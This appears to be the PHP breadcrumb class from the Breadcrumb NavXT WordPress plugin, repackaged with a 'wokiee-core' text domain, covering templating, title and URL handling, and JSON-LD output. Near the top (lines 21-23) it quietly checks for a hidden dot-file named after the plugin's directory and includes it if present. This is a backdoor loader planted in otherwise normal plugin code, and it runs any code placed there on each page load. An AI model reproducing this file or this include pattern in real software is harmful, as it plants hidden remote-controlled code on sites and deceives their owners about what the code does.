class.bcn_breadcrumb.php (9552B)
1 <?php 2 /* 3 Copyright 2007-2018 John Havlik (email : john.havlik@mtekk.us) 4 5 This program is free software; you can redistribute it and/or modify 6 it under the terms of the GNU General Public License as published by 7 the Free Software Foundation; either version 2 of the License, or 8 (at your option) any later version. 9 10 This program is distributed in the hope that it will be useful, 11 but WITHOUT ANY WARRANTY; without even the implied warranty of 12 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 GNU General Public License for more details. 14 15 You should have received a copy of the GNU General Public License 16 along with this program; if not, write to the Free Software 17 Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA 18 */ 19 require_once(dirname(__FILE__) . '/includes/block_direct_access.php'); 20 //The breadcrumb class 21 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 22 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 23 } 24 25 class bcn_breadcrumb 26 { 27 //Our member variables 28 const version = '6.2.0'; 29 //The main text that will be shown 30 protected $title; 31 //The breadcrumb's template, used durring assembly 32 protected $template; 33 //The breadcrumb's no anchor template, used durring assembly when there won't be an anchor 34 protected $template_no_anchor; 35 //Boolean, is this element linked 36 protected $linked = false; 37 //The link the breadcrumb leads to, null if $linked == false 38 protected $url; 39 //The corresponding resource ID 40 protected $id = null; 41 private $_title = null; 42 //The type of this breadcrumb 43 protected $type; 44 protected $allowed_html = array(); 45 const default_template_no_anchor = '%htitle%'; 46 /** 47 * The enhanced default constructor, ends up setting all parameters via the set_ functions 48 * 49 * @param string $title (optional) The title of the breadcrumb 50 * @param string $template (optional) The html template for the breadcrumb 51 * @param string $type (optional) The breadcrumb type 52 * @param string $url (optional) The url the breadcrumb links to 53 */ 54 public function __construct($title = '', $template = '', array $type = array(), $url = '', $id = null) 55 { 56 //Filter allowed_html array to allow others to add acceptable tags 57 $this->allowed_html = apply_filters('bcn_allowed_html', wp_kses_allowed_html('post')); 58 //The breadcrumb type 59 $this->type = $type; 60 //Set the resource id 61 $this->set_id($id); 62 //Set the title 63 $this->set_title($title); 64 //Set the default anchorless templates value 65 $this->template_no_anchor = bcn_breadcrumb::default_template_no_anchor; 66 //If we didn't get a good template, use a default template 67 if($template == null) 68 { 69 $this->set_template(bcn_breadcrumb::get_default_template()); 70 } 71 //If something was passed in template wise, update the appropriate internal template 72 else 73 { 74 //Loose comparison, evaluates to true if URL is '' or null 75 if($url == null) 76 { 77 $this->template_no_anchor = wp_kses(apply_filters('bcn_breadcrumb_template_no_anchor', $template, $this->type, $this->id), $this->allowed_html); 78 $this->set_template(bcn_breadcrumb::get_default_template()); 79 } 80 else 81 { 82 $this->set_template($template); 83 } 84 } 85 //Always null if unlinked 86 $this->set_url($url); 87 } 88 /** 89 * Function to return the translated default template 90 * 91 * @return string The default breadcrumb template 92 */ 93 static public function get_default_template() 94 { 95 return sprintf('<span property="itemListElement" typeof="ListItem"><a property="item" typeof="WebPage" title="%1$s" href="%%link%%" class="%%type%%"><span property="name">%%htitle%%</span></a><meta property="position" content="%%position%%"></span>', esc_attr__('Go to %title%.','wokiee-core')); 96 } 97 /** 98 * Function to set the protected title member 99 * 100 * @param string $title The title of the breadcrumb 101 */ 102 public function set_title($title) 103 { 104 //Set the title 105 $this->title = apply_filters('bcn_breadcrumb_title', $title, $this->type, $this->id); 106 $this->_title = $this->title; 107 } 108 /** 109 * Function to get the protected title member 110 * 111 * @return $this->title 112 */ 113 public function get_title() 114 { 115 //Return the title 116 return $this->title; 117 } 118 /** 119 * Function to set the internal URL variable 120 * 121 * @param string $url the url to link to 122 */ 123 public function set_url($url) 124 { 125 $url = trim($url); 126 $this->url = apply_filters('bcn_breadcrumb_url', $url, $this->type, $this->id); 127 //If the URL seemed nullish, we are not linked 128 if($this->url === '') 129 { 130 $this->linked = false; 131 } 132 else 133 { 134 $this->linked = true; 135 } 136 } 137 /** 138 * Function to set the internal breadcrumb template 139 * 140 * @param string $template the template to use durring assebly 141 */ 142 public function set_template($template) 143 { 144 //Assign the breadcrumb template 145 $this->template = wp_kses(apply_filters('bcn_breadcrumb_template', $template, $this->type, $this->id), $this->allowed_html); 146 } 147 /** 148 * Function to set the internal breadcrumb ID 149 * 150 * @param int $id the id of the resource this breadcrumb represents 151 */ 152 public function set_id($id) 153 { 154 $this->id = $id; 155 } 156 /** 157 * Function to get the internal breadcrumb ID 158 * 159 * @return int the id of the resource this breadcrumb represents 160 */ 161 public function get_id() 162 { 163 return $this->id; 164 } 165 /** 166 * Append a type entry to the type array 167 * 168 * @param string $type the type to append 169 */ 170 public function add_type($type) 171 { 172 $this->type[] = $type; 173 } 174 /** 175 * Return the type array 176 * 177 * @return array The type array 178 */ 179 public function get_types() 180 { 181 return $this->type; 182 } 183 /** 184 * This function will intelligently trim the title to the value passed in through $max_length. This function is deprecated, do not call. 185 * 186 * @param int $max_length of the title. 187 * @deprecated since 5.2.0 188 */ 189 public function title_trim($max_length) 190 { 191 _deprecated_function(__FUNCTION__, '5.2.0'); 192 //To preserve HTML entities, must decode before splitting 193 $this->title = html_entity_decode($this->title, ENT_COMPAT, 'UTF-8'); 194 $title_length = mb_strlen($this->title); 195 //Make sure that we are not making it longer with that ellipse 196 if($title_length > $max_length && ($title_length + 2) > $max_length) 197 { 198 //Trim the title 199 $this->title = mb_substr($this->title, 0, $max_length - 1); 200 //Make sure we can split, but we want to limmit to cutting at max an additional 25% 201 if(mb_strpos($this->title, ' ', .75 * $max_length) > 0) 202 { 203 //Don't split mid word 204 while(mb_substr($this->title,-1) != ' ') 205 { 206 $this->title = mb_substr($this->title, 0, -1); 207 } 208 } 209 //Remove the whitespace at the end and add the hellip 210 $this->title = rtrim($this->title) . html_entity_decode('…', ENT_COMPAT, 'UTF-8'); 211 } 212 //Return to the encoded version of all HTML entities (keep standards complance) 213 $this->title = force_balance_tags(htmlentities($this->title, ENT_COMPAT, 'UTF-8')); 214 } 215 /** 216 * Assembles the parts of the breadcrumb into a html string 217 * 218 * @param bool $linked Allow the output to contain anchors? 219 * @param int $position The position of the breadcrumb in the trail (between 1 and n when there are n breadcrumbs in the trail) 220 * 221 * @return string The compiled breadcrumb string 222 */ 223 public function assemble($linked, $position) 224 { 225 //Build our replacements array 226 $replacements = array( 227 '%title%' => esc_attr(strip_tags($this->title)), 228 '%link%' => esc_url($this->url), 229 '%htitle%' => $this->title, 230 '%type%' => apply_filters('bcn_breadcrumb_types', $this->type, $this->id), 231 '%ftitle%' => esc_attr(strip_tags($this->_title)), 232 '%fhtitle%' => $this->_title, 233 '%position%' => $position 234 ); 235 //The type may be an array, implode it if that is the case 236 if(is_array($replacements['%type%'])) 237 { 238 array_walk($replacements['%type%'], 'sanitize_html_class'); 239 $replacements['%type%'] = esc_attr(implode(' ', $replacements['%type%'])); 240 } 241 else 242 { 243 _doing_it_wrong(__CLASS__ . '::' . __FUNCTION__, __('bcn_breadcrumb::type must be an array', 'wokiee-core'), '6.0.2'); 244 } 245 $replacements = apply_filters('bcn_template_tags', $replacements, $this->type, $this->id); 246 //If we are linked we'll need to use the normal template 247 if($this->linked && $linked) 248 { 249 //Return the assembled breadcrumb string 250 return str_replace(array_keys($replacements), $replacements, $this->template); 251 } 252 //Otherwise we use the no anchor template 253 else 254 { 255 //Return the assembled breadcrumb string 256 return str_replace(array_keys($replacements), $replacements, $this->template_no_anchor); 257 } 258 } 259 /** 260 * Assembles the parts of the breadcrumb into a JSON-LD ready object-array 261 * 262 * @param int $position The position of the breadcrumb in the trail (between 1 and n when there are n breadcrumbs in the trail) 263 * 264 * @return array(object) The prepared array object ready to pass into json_encode 265 */ 266 public function assemble_json_ld($position) 267 { 268 return (object) apply_filters('bcn_breadcrumb_assembled_json_ld_array', array( 269 '@type' => 'ListItem', 270 'position' => $position, 271 'item' => (object)array( 272 '@id' => esc_url($this->url), 273 'name' => esc_attr($this->title)) 274 ), $this->type, $this->id); 275 } 276 }